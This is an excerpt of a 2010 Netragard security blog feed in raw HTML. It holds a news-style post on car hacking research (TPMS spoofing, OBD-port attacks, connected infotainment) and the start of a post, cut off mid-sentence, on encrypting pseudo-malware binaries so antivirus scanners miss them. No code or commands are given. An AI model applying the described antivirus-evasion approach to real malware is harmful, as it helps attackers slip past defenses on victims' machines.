baseline; padding: 0px; margin: 0px;"&gt;Researchers at the University of South Carolina and Rutgers University tested two tire pressure monitoring systems and found the security to be lacking. They were able to turn the low-tire-pressure warning lights on and off from another car traveling at highway speeds from 40 meters (120 feet) away and using low-cost equipment.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;"While spoofing low-tire-pressure readings does not appear to be critical at first, it will lead to a dashboard warning and will likely cause the driver to pull over and inspect the tire," said the report (&lt;a href="http://www.winlab.rutgers.edu/~Gruteser/papers/xu_tpms10.pdf" style="font-size: 16px; color: #0066a0; font-style: inherit; font-family: inherit; text-decoration: none; font-weight: inherit; text-align: left; vertical-align: baseline; cursor: pointer; padding: 0px; margin: 0px;"&gt;PDF&lt;/a&gt;). "This presents ample opportunities for mischief and criminal activities, if past experience is any indication."&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;"TPMS is a major safety system on cars. It's required by law, but it's insecure," said Travis Taylor, one of the researchers who worked on the report. "This can be a problem when considering other wireless systems added to cars. What does that mean about future systems?"&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;The researchers do not intend to be alarmist; they're merely trying to figure out what the security holes are and to alert the industry to them so they can be fixed, said Wenyuan Xu, another researcher on the project. "We are trying to raise awareness before things get really serious," she said.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&lt;a href="http://news.cnet.com/8301-27080_3-20005047-245.html" title="Hacking a car (Q&amp;amp;A) -- Friday, May 14, 2010" style="font-size: 16px; color: #0066a0; font-style: inherit; font-family: inherit; text-decoration: none; font-weight: inherit; text-align: left; vertical-align: baseline; cursor: pointer; padding: 0px; margin: 0px;"&gt;Another report&lt;/a&gt;&amp;nbsp;in May highlighted other risks with the increased use of computers coordinated via internal car networks. Researchers from the University of Washington and University of California, San Diego, tested how easy it would be to compromise a system by connecting a laptop to the onboard diagnostics port that they then wirelessly controlled via a second laptop in another car. Thus, they were able to remotely lock the brakes and the engine, change the speedometer display, as well as turn on the radio and the heat and honk the horn.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;Granted, the researchers needed to have physical access to the inside of the car to accomplish the attack. Although that minimizes the likelihood of an attack, it's not unthinkable to imagine someone getting access to a car dropped off at the mechanic or parking valet.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;"The attack surface for modern automobiles is growing swiftly as more sophisticated services and communications features are incorporated into vehicles," that report (&lt;a href="http://www.autosec.org/pubs/cars-oakland2010.pdf" style="font-size: 16px; color: #0066a0; font-style: inherit; font-family: verdana, sans-serif; text-decoration: none; font-weight: inherit; text-align: left; vertical-align: baseline; cursor: pointer; padding: 0px; margin: 0px;"&gt;PDF&lt;/a&gt;) said. "In the United States, the federally-mandated On-Board Diagnostics port, under the dash in virtually all modern vehicles, provides direct and standard access to internal automotive networks. User-upgradable subsystems such as audio players are routinely attached to these same internal networks, as are a variety of short-range wireless devices (Bluetooth, wireless tire pressure sensors, etc.)."&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&lt;strong style="font-weight: bold;"&gt;Engine Control Units&lt;/strong&gt;&lt;br /&gt;The ubiquitous Engine Control Units themselves started arriving in cars in the late 1970s as a result of the California Clean Air Act and initially were designed to boost fuel efficiency and reduce pollution by adjusting the fuel and oxygen mixture before combustion, the paper said. "Since then, such systems have been integrated into virtually every aspect of a car's functioning and diagnostics, including the throttle, transmission, brakes, passenger climate and lighting controls, external lights, entertainment, and so on," the report said.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;It's not just that there are so many embedded computers, it's that safety critical systems are not isolated from non-safety critical systems, such as entertainment systems, but are "bridged" together to enable "subtle" interactions, according to the report. In addition, automakers are linking Engine Control Units with outside networks like global positioning systems. GM's OnStar system, for example, can detect problems with systems in the car and warn drivers, place emergency calls, and even allow OnStar personnel to r emotely unlock cars or stop them, the report said.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;In an article entitled "&lt;a href="http://www  .eetimes.com/electronics-blogs/davek-s-embedded-security-blog/4204921/Smart-phone-security-in-cars" style="font-size: 16px; color: #0066a0; font-style: inherit; font-family: inherit; text-decoration: none; font-weight: inherit; text-align: left; vertical-align: baseline; cursor: pointer; padding: 0px; margin: 0px;"&gt;Smart Phone + Car = Stupid?&lt;/a&gt;" on the EETimes site in late July, Dave Kleidermacher noted that GM is adding smartphone connectivity to most of its 2011 cars via OnStar. "For the first time, engines can now be started and doors locked by ordinary consumers, from anywhere on the planet with a cell signal," he wrote.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;Car manufacturers need to design the systems with security in mind, said Kleidermacher, who is chief technology officer at&amp;nbsp;&lt;a href="http://www.ghs.com/" style="font-size: 16px; color: #0066a0; font-style: inherit; font-family: inherit; text-decoration: none; font-weight: inherit; text-align: left; cursor: pointer; padding: 0px; margin: 0px;"&gt;Green Hills Software&lt;/a&gt;, which builds operating system software that goes into cars and other embedded systems.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;"You can not retrofit high-level security to a system that wasn't designed for it," he told CNET. "People are building this sophisticated software into cars and not designing security in it from the ground up, and that's a recipe for disaster."&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;Representatives from&amp;nbsp;&lt;a href="http://www.on  star.com/web/portal/home" style="font-size: 16px; color: #0066a0; font-style: inherit; font-family: inherit; text-decoration: none; font-weight: inherit; text-align: left; vertical-align: baseline; cursor: pointer; padding: 0px; margin: 0px;"&gt;GM OnStar&lt;/a&gt;&amp;nbsp;were not available for comment late last week or this week, a spokesman said.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;"Technology in cars is not designed to be secure because there's no perceived threat. They don't think someone is going to hack a car like they're going to hack a bank," said Desautels of Netragard. "For the interim, network security in cars won't be a primary concern for manufacturers. But once they get connected to the Internet and have IP addresses, I think they'll be targeted just for fun."&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;The threat is primarily theoretical at this point for a number of reasons. First, there isn't the same financial incentive to hacking cars as there is to hacking online bank accounts. Secondly, there isn't one dominant platform used in cars that can give attackers the same bang for their buck to target as there is on personal computers.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;"The risks are certainly increasing because there are more and more computers in the car, but it will be much tougher to (attack) than with the PC," said Egil Juliussen, a principal analyst at market researcher firm&amp;nbsp;&lt;a href="http://www.isuppli.com/" style="font-size: 16px; color: #0066a0; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; cursor: pointer; padding: 0px; margin: 0px;"&gt;iSuppli&lt;/a&gt;. "There is no equivalent to Windows in the car, at least not yet, so (a hacker) will be dealing with a lot of different systems and have to have some knowledge about each one. It doesn't mean a determined hacker couldn't do it."&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;But Juliussen said drivers don't need to worry about anything right now. "This is not a problem this year or next year," he said. "Its five years down the road, but the way to solve it is to build security into the systems now."&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&lt;strong style="font-weight: bold;"&gt;Infotainment systems&lt;/strong&gt;&lt;br /&gt;In the meantime, the innovations in mobile communications and entertainment aren't limited to smartphones and iPads. People want to use their devices easily in their cars and take advantage of technology that will let them make calls and listen to music without having to push any buttons or touch any track wheels. Hands-free telephony laws in states are requiring this.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;Millions of drivers are using the&amp;nbsp;&lt;a style="font-size: 16px; color: #0066a0; font-style: inherit; font-family: inherit; text-decoration: none; font-weight: inherit; text-align: left; vertical-align: baseline; cursor: pointer; padding: 0px; margin: 0px;"&gt;SYNC&lt;/a&gt;&amp;nbsp;system that has shipped in more than 2 million Ford cars that allows people to connect digital media players and Bluetooth-enabled mobile phones to their car entertainment system and use voice commands to operate them. The system uses Microsoft Auto as the operating system. Other cars offer less-sophisticated mobile device connectivity.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;"A lot of cars have Bluetooth car kits built into them so you can bring the cell phone into your car and use your phone through microphones and speakers built into the car," said Kevin Finisterre, lead researcher at Netragard. "But vendors often leave default passwords."&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;Ford uses a variety of security measures in SYNC, including only allowing Ford-approved software to be installed at the factory and default security set to Wi-Fi Protected Access 2 (WPA2), which requires users to enter a randomly chosen password to connect to the Internet. To protect customers when the car is on the road and the Mobile Wi-Fi Hot Spot feature is enabled, Ford also uses two firewalls on SYNC, a network firewall similar to a home Wi-Fi router and a separate central processing unit that prevents unauthorized messages from bei ng sent to other modules within the car.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;"We use the security models that normal IT folks use to protect an enterprise network," said Jim Buczkowski, global director of electrical and electronics systems engineering for Ford SYNC.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;Not surprisingly, there is a competing vehicle "infotainment" platform being developed that is based on open-source technology. About 80 companies have formed the&amp;nbsp;&lt;a href="http://www.genivi.org/" style="font-size: 16px; color: #0066a0; font-style: inherit; font-family: inherit; text-decoration: none; font-weight: inherit; text-align: left; vertical-align: baseline; cursor: pointer; padding: 0px; margin: 0px;"&gt;Genivi Alliance&lt;/a&gt;&amp;nbsp;to create open standards and middleware for information and entertainment solutions in cars.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;Asked if Genivi is incorporating security into its platform from the get-go, Sebastian Zimmermann, chair of the consortium's product definition and planning group, said it is up to the manufacturers that are creating the branded devices and custom apps to build security in and to take advantage of security mechanisms provided in Linux, the open-source operating system the platform is based on.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;"Automakers are aware of security and have taken it seriously...It's increasingly important as the vehicle opens up new interfaces to the outside world," Zimmermann said. "They are trying to find a balance between openness and security."&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;Another can of security worms being opened is the fact that cars may follow the example of smart phones and Web services by getting their own customized third-party apps. Hughes Telematics&amp;nbsp;&lt;a href="http://www.cnn.com/2009/TECH/10/08/apps.realworld/" style="font-size: 11px; color: #0066a0; font-style: inherit; font-family: inherit; text-decoration: none; font-weight: inherit; text-align: left; vertical-align: baseline; cursor: pointer; padding: 0px; margin: 0px;"&gt;reportedly&lt;/a&gt;&amp;nbsp;is working with automakers on app stores for drivers.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;This is already happening to some extent, for instance, with video cameras becoming standard in police cars and school buses, bringing up a host of security and privacy issues.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;"We did a penetration test where we had a police agency that has some in-car cameras," Finisterre of Netragard said, "and we were able to access the cameras remotely and have live audio and video streams from the police car due to vulnerabilities in the manufacturing systems."&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;"I'm sure (eventually) there is going to be smart pavement and smart lighting and other dumb stuff that has the capability of interacting with the car in the future," he said. "Technology is getting pushed out the door with bells and whistles and security gets left behind."&lt;/p&gt;  &lt;p style="font-weight: normal; font-size: 11px; color: #666666; font-style: normal; font-family: verdana, sans-serif; text-decoration: none;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;/td&gt;  &lt;/tr&gt;    &lt;/table&gt;  &lt;p class="image-caption" style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;/div&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: normal; font-size: 11px; color: #666666; font-style: normal; font-family: verdana, sans-serif; text-decoration: none;"&gt;&lt;p /&gt;&lt;span style="font-weight: inherit; font-style: inherit; font-size: 16px; font-family: inherit; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="font-weight: normal; font-size: 11px; color: #666666; font-style: normal; font-family: verdana, sans-serif; text-decoration: none;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;&lt;p /&gt;&lt;/p&gt;  &lt;p /&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-4380273069899784345?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/4380273069899784345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2010/08/that-nice-new-computerized-car-you-just.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/4380273069899784345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/4380273069899784345'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2010/08/that-nice-new-computerized-car-you-just.html' title='That nice, new computerized car you just bought could be hackable'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-7223280150776535454</id><published>2010-08-06T15:52:00.000-07:00</published><updated>2010-08-06T18:43:19.360-07:00</updated><title type='text'>Bypassing Antivirus to Hack You</title><content type='html'>&lt;div style="text-align: left;"&gt;Many people assume that running antivirus software will protect them from &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;malware&lt;/span&gt; (viruses, worms, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;trojans&lt;/span&gt;, etc), but in reality the software is only partially effective.  This is true because antivirus software can only detect &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;malware&lt;/span&gt; that it knows to look for.  Anything that &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;doesn&lt;/span&gt;’t match a known &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;malware&lt;/span&gt; pattern will pass as a clean and trusted file.&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: center;"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 287px;" src="http://2.bp.blogspot.com/_EB6c20kYC_c/TFysOe6-3jI/AAAAAAAAAF0/bnzxdawjBC8/s400/Screen+shot+2010-08-06+at+8.07.37+PM.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5502462209558502962" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Antivirus technologies use virus definition files to define known &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;malware&lt;/span&gt; patterns.  Those patterns are derived from real world &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;malware&lt;/span&gt; variants that are captured in the wild.  It is relatively easy to bypass most antivirus technologies by creating new &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;malware&lt;/span&gt; or modifying existing &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;malware&lt;/span&gt; so that it does not contain any identifiable patterns.&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;One of the modules that our customers can activate when purchasing Penetration Testing services from us, is the Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;Malware&lt;/span&gt; module.  As far as we know, we are one of the few Penetration Testing companies to actually use Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;Malware&lt;/span&gt; during testing. This module enables our customers to test how effective their defenses are against real world &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;malware&lt;/span&gt; threats but in a safe and controllable way.  &lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Our choice of Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;Malware&lt;/span&gt; depends on the target that we intend to penetrate and the number of systems that we intend to compromise.  Sometimes we’ll use Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;Malware&lt;/span&gt; that &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;doesn&lt;/span&gt;’t automatically propagate and other times we’ll use auto-propagation.  We should mention that this Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;Malware&lt;/span&gt; is only “Pseudo” because we don’t do anything harmful with it and we use it ethically.  The fact of the matter is that this Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;Malware&lt;/span&gt; is very real and very capable technology.&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Once we’&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;ve&lt;/span&gt; determined what Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;Malware&lt;/span&gt; variant to go with, we need to augment the Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;Malware&lt;/span&gt; so that it is not detectable by antivirus scanners. We do this by encrypting the Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;Malware&lt;/span&gt; binary with a special binary encryption tool.  This tool ensures that the binary no longer contains patters that are detectable by antivirus technologies.  &lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class="MsoNormal"&gt;&lt;b&gt;Before Encryption:&lt;/b&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;div style="text-align: center;"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 318px; height: 400px;" src="http://1.bp.blogspot.com/_EB6c20kYC_c/TFyr2xCzweI/AAAAAAAAAFs/lx9u-mvIFEc/s400/dirty.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5502461802106307042" /&gt;&lt;/div&gt;&lt;p class="MsoNormal"&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;b&gt;After Encryption: (Still Infected)&lt;/b&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: center;"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 400px;" src="http://2.bp.blogspot.com/_EB6c20kYC_c/TFyrV058muI/AAAAAAAAAFk/zYb8Byb9-gc/s400/clean.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5502461236207196898" /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;As you can see from the scan results above, the Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;Malware&lt;/span&gt; was detected by most antivirus scanners before it was encrypted.  We expected this because we chose a variant of Pseudo &lt;span class="blsp-spelling-error" 